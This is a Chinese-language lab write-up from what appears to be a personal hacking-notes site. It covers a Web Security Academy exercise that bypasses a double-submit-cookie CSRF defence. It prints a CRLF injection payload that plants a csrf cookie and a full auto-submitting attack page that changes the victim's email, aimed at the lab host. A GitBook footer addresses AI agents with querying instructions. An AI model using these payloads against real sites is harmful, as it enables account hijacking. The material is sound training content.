> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# 双重提交 Cookie 中重复令牌的 CSRF

### CSRF：令牌在 Cookie 中重复

#### 描述

此实验的电子邮件更改功能存在 CSRF 攻击漏洞。该网站试图使用一种脆弱的技术 **“双重提交”**：同一个 CSRF 令牌同时存在于表单字段和 cookie 中。如果攻击者能够伪造一个跨站请求并发送一个 `CSRF` 包含相同值的字段。

#### 目标

在你的主机上托管一个 HTML 页面 **服务器** 当访问者打开时，它将自动提交一个 POST 请求来更改其电子邮件地址（完成实验）。

#### 访问（凭据）

你可以使用以下方式连接： `wiener: peter`

#### 测试中的重要观察

* 表单中的 CSRF 令牌值与 cookie 值相同。

<figure><img src="/files/9e81deb0e66d3afadd5f14d3a86dac14723c82ad" alt=""><figcaption></figcaption></figure>

#### CRLF 注入示例（在 `search` 地址栏或参数中）

<figure><img src="/files/dad12409404dc59c929bdafbc4fa9a6cdccaf3ad" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8ebcc2bd2672a06137cd94aabd4608915f544ef7" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="/files/f670c3450decf040aee48fcc2f918a76d55ecfd3" alt=""><figcaption></figcaption></figure>

* 为了强制在跨站上下文中发送 cookie，设置 `SameSite=None` 到 cookie 上。

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### 要存放到利用服务器上的攻击 HTML

下面是一个页面示例，它将 CSRF 令牌值放在 `CSRF` 字段中，定义目标电子邮件，然后利用图片查询自动提交表单（这会触发通过搜索写入 cookie 的尝试）：

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
